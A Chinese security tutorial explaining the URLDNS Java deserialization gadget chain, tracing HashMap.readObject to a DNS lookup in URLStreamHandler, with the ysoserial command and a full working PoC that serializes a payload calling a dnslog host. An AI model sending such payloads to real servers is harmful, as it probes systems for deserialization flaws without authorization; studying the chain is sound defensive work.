[java安全]URLDNS

文章目录

java安全URLDNS

前言

URLDNS利用链是一条很简单的链子,可以用来查看java反序列化是否存在反序列化漏洞,如果存在,就会触发dns查询请求

它有如下优点:

使用java内置类构造,对第三方库没有依赖

在目标没有回显的时候,可以使用DNS请求得知是否存在反序列化漏洞

在ysoserial下生成URLDNS的命令为:

java 复制代码
java -jar ysoserial.jar URLDNS "http://xxx.dnslog.cn"

在学习URLDNS之前,我们需要了解一些java内置的类

HashMap

在HashMap的类中有readObject()方法,

我们知道,如果一个类重写了readObject()方法,那么在反序列化时,就会执行重写的readObject()方法

java 复制代码
private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        ...
    	// Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

在HashMap的readObject()方法中调用了hash()方法,于是我们过去hash方法中看一下:

java 复制代码
static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

发现调用了key变量的hashCode()方法,这里的key是可以控制的

这里我们就知道需要一个新的类了:

URL

java.net.URL类中存在一个hashCode方法:

java 复制代码
public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

hashCode变量初值为-1

java 复制代码
private int hashCode = -1;

hashCode变量不等于-1时,就会return结束函数

hashCode=-1,会调用 handler的hashCode方法,参数是URL类的对象

然后我们查看一下handler类是什么类型:

java 复制代码
transient URLStreamHandler handler;

发现是URLStreamHandler类,于是我们再查看一下该类

URLStreamHandler

hashCode方法

java 复制代码
protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        ...
    }

发现调用了getHostAddress(),参数为URL类对象,查看一下 getHostAddress()方法

java 复制代码
protected synchronized InetAddress getHostAddress(URL u) {
        if (u.hostAddress != null)
            return u.hostAddress;

        String host = u.getHost();
        if (host == null || host.equals("")) {
            return null;
        } else {
            try {
                u.hostAddress = InetAddress.getByName(host);
            } catch (UnknownHostException ex) {
                return null;
            } catch (SecurityException se) {
                return null;
            }
        }
        return u.hostAddress;
    }

这个方法中有一个函数调用InetAddress.getByName(host),获取目标主机的ip地址,其实就是进行了一次DNS查询

调用过程

我们捋一下过程

我们可以先创建一个HashMap对象,然后让键的类型为URL,例如:

java 复制代码
HashMap<URL, String> hashMap = new HashMap<URL, String>();

然后创建一个URL类对象,参数我们传入DNS平台的url即可

这里有一些很重要的注意点

如何我们直接调用Map的put(),将HashMap中添加一个元素,可能会导致误触URL请求

我们看一下HashMap的put()方法 :

java 复制代码
public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

发现put方法也会调用hash()方法,所以我们需要想办法避免触发

我们想到URL类中的hashCode变量初值为-1,当值为-1时URL类中的hashCode()方法会return返回,所以我们可以将URL对象添加到HashMap之前将hashCode变量设置为其他值即可

如何才能设置hashCode等于其他值呢?

我们需要使用java反射:

java 复制代码
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); //使用内部方法
f.setAccessible(true); //hashCode是私有变量,所以要设置访问权限
// hashMap.put时会调用hash(key),这里先把hashCode(初值为-1)设置为其他值,避免和后面的DNS请求混淆,导致触发dns
f.set(url, 0xAAA);

添加到HashMap中之后,我们需要使用反射把hashCode=-1

调用链

java 复制代码
HashMap.readObject()
	HashMap.hash()
		URL.hashCode()
			URLStreamHandler.hashCode()
				URLStreamHandler.getHostAddress()

流程图

POC

java 复制代码
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
    public static Object urldns() throws Exception{
        //漏洞出发点 hashmap,实例化出来
        HashMap<URL, String> hashMap = new HashMap<URL, String>(); //URL对象传入自己测试的dnslog
        URL url = new URL("http://txbjb7.dnslog.cn"); //反射获取 URL的hashcode方法
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); //使用内部方法
        f.setAccessible(true);
        // hashMap.put时会调用hash(key),这里先把hashCode设置为其他值,避免和后面的DNS请求混淆
        f.set(url, 0xAAA);
        hashMap.put(url, "leekos");
        // hashCode 这个属性放进去后设回 -1, 这样在反序列化时就会重新计算 hashCode
        f.set(url, -1);
        // 序列化成对象,输出出来
       return hashMap;
    }
    public static void main(String[] args) throws Exception {
        payload2File(urldns(),"obj");
        payloadTest("obj");
    }
    public static void payload2File(Object instance, String file)
            throws Exception {
        //将构造好的payload序列化后写入文件中
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static void payloadTest(String file) throws Exception {
        //读取写入的payload,并进行反序列化
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
        in.readObject();
        in.close();
    }
}
相关推荐
程序员黑豆5 小时前
Java类型推断完全指南:从var到菱形运算符,掌握使用限制与最佳实践
java·前端·ai编程
风流 少年6 小时前
Spring AI 2.0:Memory
java·后端·spring
码匠许师傅6 小时前
【C++ 面试真题】聊聊 C++ 的移动语义与右值引用
java·c++·面试
九硕智慧建筑一体化厂家7 小时前
数字化管控落地,直流照明构筑安全照明体系
运维·人工智能·笔记·安全·智慧城市
小席是个热心肠7 小时前
AI相关的自我学习
java·人工智能·学习
chunmiao30329 小时前
DeepSeek V4-Pro 正式版上线,API 8月17日起分时调价
网络·安全
数智化管理手记9 小时前
海量数据如何沉淀有效数据资产?数据标准化治理方案如何搭建?
java·大数据·人工智能
cfm_291410 小时前
SpringAI + Ollama 本地大模型
java·开发语言·人工智能·语言模型
湘美书院--湘美谈教育10 小时前
湘美书院主理人谈AI文学:提示词与Skill的与时俱进
大数据·人工智能·安全·自动化·生活
hz5678910 小时前
视频会议终端对接详解:协议兼容、系统集成与常见问题
安全·实时音视频·信息与通信